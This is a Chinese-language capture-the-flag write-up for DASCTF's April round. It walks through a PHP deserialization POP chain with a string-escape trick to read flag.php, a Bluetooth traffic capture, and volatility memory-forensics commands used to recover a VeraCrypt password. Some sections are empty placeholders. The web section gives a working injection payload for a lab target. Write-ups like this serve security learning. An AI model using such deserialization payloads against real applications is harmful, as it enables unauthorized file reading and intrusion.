安恒DASCTF 四月战 WP

阅读: 评论:0

安恒DASCTF 四月战 WP

安恒DASCTF 四月战 WP

 web1

打开提就是源码审计
考点:反序列化POP链、反序列化字符串逃逸
show_source("index.php");
function write($data) {return str_replace(chr(0) . '*' . chr(0), '', $data);
}
function read($data) {return str_replace('', chr(0) . '*' . chr(0), $data);
}
class A{public $username;public $password;function __construct($a, $b){$this->username = $a;$this->password = $b;}
}
class B{public $b = 'gqy';function __destruct(){$c = 'a'.$this->b;echo $c;}
}
class C{public $c;function __toString(){//flag.phpecho file_get_contents($this->c);return 'nice';}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作 $b = unserialize(read(write(serialize($a))));

 

通过大致分析我们发现最终利用点在C类中 我们先看一下C类 有个_toString() 它的意思是:当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 然后我们需要让里面的$c变量的值变成flag.php 而这里的问题来了我们如何实例化它??? 我们如何触发__toString方法??? 审计B类 B类有个__destruct 方法它的意思就是当对象被销毁时自动调用  方法内输出变量c   在B类有个字符串的拼接操作 $c='a'.$this->b 先执行$this->b时实例化了此处的$b属性在实例化时会触发C对象即 触发__toString方法打印出flag 但是问题又来了 如何实例化类B呢??? 审计类A  类A通过GET传值实例化 所以我们要让类A来实例化类B 这样就构成了POP链 先来大致构造下程序逻辑  模拟POP链  我们的想法是反序列化后首先通过A实例化了B 而比里面的$b里面的b变量是C 实例化了C类 C类被实例化执行__toString()函数 也就输出了我们的falg 得到 
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
得到了序列化的值 我们此时当然通过这个当做payload穿进去肯定是不行的因为不符合规范 我们再审计看看有没有方法构造长度膨胀让不需要的部分进行逃逸 参考: .html 测试传入1和2  这个是正常的序列化所以我们要构造这样的格式序列化 所以我们得构造能让蓝色部分的长度等于红色部分 这样我们绿的的部分就可以进行正常拼接了 这样的一个序列化字符串   O:1:"A":2:{s:8:"username";s: 1:" 1";s:8:"password";s:1:" 2";} 我们可以通过这两个方法实现  是3个字符串二 chr(0)*chr(0)==空字符*空字符  所以是三个字符  所以我们数一下上面的红色序列化代码的部分的字符串是多少个 可以使用strlen()直接计算或者数吧。。。  我数了一下24个 所以我们要通过传入username让它转换成 chr(0)*chr(0) 没传一个  上面蓝色的部分旧货多空出来3就会吃掉红色部分3个字符串 3X8=24 所以我们需要传入8个 最终payload:
a=&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
分析下内部的过程 先构建A->B->C的链条 传入payload。。
$a = new A('','1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}');
print_r(serialize($a));
print_r(write(serialize($a)));
print_r(read(write(serialize($a))));
print_r(unserialize(read(write(serialize($a)))));
在我们传入payload首先进行序列化 O:1:"A":2:{s:8:"username";s:48:"";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";} 之后要经过write()函数 此时我们红色部分为48个字符串 O:1:"A":2:{s:8:"username";s:48:" ";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";} 之后要经过read()函数进行替换  此时红色部分看起来像8个字符串实际上是每个字符左右两边都有空字符(chr(0))所以是24个字符串 我们继续看我们的蓝色部分为48那就说明它还会继续往后面匹配24个字符直到达到48为止 也就是匹配我们的橙色部分 这样剩下的拼接后就能正常的进行反序列化 输出我们的flag了。 O:1:"A":2:{s:8:"username";s: 48:" ******** ";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

 

web2 

1

 MISC-6G还远吗?

下载几十秒  终止下载 记事本打开查找flag即可

 MISC-blueshark

Can you dig something you want out from the sea-colored beautiful shark? 流量分析emm  完全不会直接看wp走起 最后发现MISC好简单 分又多web好难分又低   这些都不是理由  是我太垃圾了hhhh 这时一个蓝牙协议流量 Ctrl+F  搜索压缩包 7z..... 选中7z开头即可导出 文件->导出分组字节流(Ctrl+Shift+x) 后缀为7z即可 压缩包需要密码 看到里面文件信息有提示信息 搜索pin 得到密码14185  解开压缩包 得到flag

MISC-keyboard

解压压缩包得到两个文件 raw文件即镜像文件  wp说是内存取证题 使用volatility提取文件
 
#查看镜像版本
volatility -f Keyboard.raw imageinfo
#直接定向检索txt文件
volatility -f Keyboard.raw --profile=Win7SP0x64 filescan | grep -E 'txt'
#将其dump下来
volatility -f Keyboard.raw --profile=Win7SP0x64 dumpfiles -Q 0x000000003d700880 -D ./
是一个dat为后缀的文件 使用strings命令可以查看内容 得到如下信息 红色部分就是我们的密文  红色上面的哪一行也提示了在ctfwikiCRYPTO中 所以解密去。。 倒数第二行提示了密码为大写 2020- 3-29 22:35:25 [BP][BP][BP][BP]hhhhh flag is not n[BP]here 2020- 3-29 22:35:30 2020- 3-29 22:36:41 ctfwikiCRYPTO ABC CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA 2020- 3-29 22:37:23 [BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu 2020- 3-29 22:39:24 But the password is in uppercase 2020- 3-29 22:38:55 我们按照这个来解密。。。 得到明文
1. 大写:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
2. 小写:veracryptpasswordiskeyboarddraobyek
意思是VeraCrypt的密码为keyboarddraobyek 之前的txt中还提示了密码为大写 使用VeraCrypt这个工具挂载加密卷 密码是刚才解密出的密文  ..... 内存取证工具volatility用法与实战 参考学习

/index.php/archives/25/#misc3

MISC-AWDshell

1

MISC-blueshark

1

本文发布于:2024-01-29 06:40:13,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170648161413423.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:DASCTF   WP
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23